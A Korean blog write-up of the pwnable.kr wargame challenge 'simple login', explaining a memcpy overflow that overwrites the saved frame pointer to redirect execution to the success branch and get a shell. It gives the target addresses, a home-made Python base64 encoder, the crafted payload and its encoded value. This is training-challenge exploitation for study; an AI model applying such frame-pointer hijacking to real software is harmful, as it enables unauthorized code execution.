Wargame/▷ pwnable.kr
[pwnable.kr] simple login
Gyeongje
2018. 7. 8. 16:00
Pwnable.kr Simple Login

Main을 보면 먼저 입력을 받고 base64
디코딩한 문자열 크기를 v6 변수에 저장한 후에 memcpy(&input, B64DecodeStr, len(B64DecodeStr)) 이런식으로
옮기게 됩니다.

Auth
함수를 봤을 때 memcpy에서 취약점이 터지게 됩니다.
만약 저희가 12크기의 문자열을 넣는다면 sfp를 변조시킬 수 있습니다.
또한 auth 함수를 나가고 바로 leave ret 으로 가기 때문에 주소가
변하지 않는 input 전역변수 주소를 sfp에 넣고 전역변수
+ 4 지점에 메인 ret에서 리턴할 주소를 Correct 문으로 넣는 다면 쉘을 딸 수 있습니다.
0x8049278
= Correct address
0x811eb40
= Global variable "input" start address
def base64_encode(str):
b64_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
p = 0
dest = []
s = []
en = []
en_str = ''
for i in str:
s += en_binary_number(ord(i))
arr = []
for i in range(len(s)):
arr.append(s[i])
if (i + 1) % 6 == 0 and i != 0:
dest.append(arr)
arr = []
if len(arr) % 6 != 0:
p = (6 - len(arr)) / 2 # padding count
for i in range(len(arr), 6):
arr.append(0)
dest.append(arr)
for i in range(len(dest)):
en.append(en_demical_number(dest[i]))
for i in range(len(en)):
en_str += b64_table[en[i]]
en_str += (b64_table[64] * p)
return en_str
def en_binary_number(str):
bin = [0 for i in range(8)]
for i in range(7, -1, -1):
bin[i] = str & 1
str >>= 1
return bin
def en_demical_number(str):
num = str[0]
for i in range(1, 6):
num = num * 2 + str[i]
return num
if __name__ == '__main__':
str = 'AAAA' + '\x78\x92\x04\x08' + '\x40\xeb\x11\x08'
en = base64_encode(str)
print 'encode : ' + en
또한 전에 짜둔 base64 암호화를 이용해 값을 추출하고 쉘을 땄습니다.
Encode : QUFBQXiSBAhA6xEI
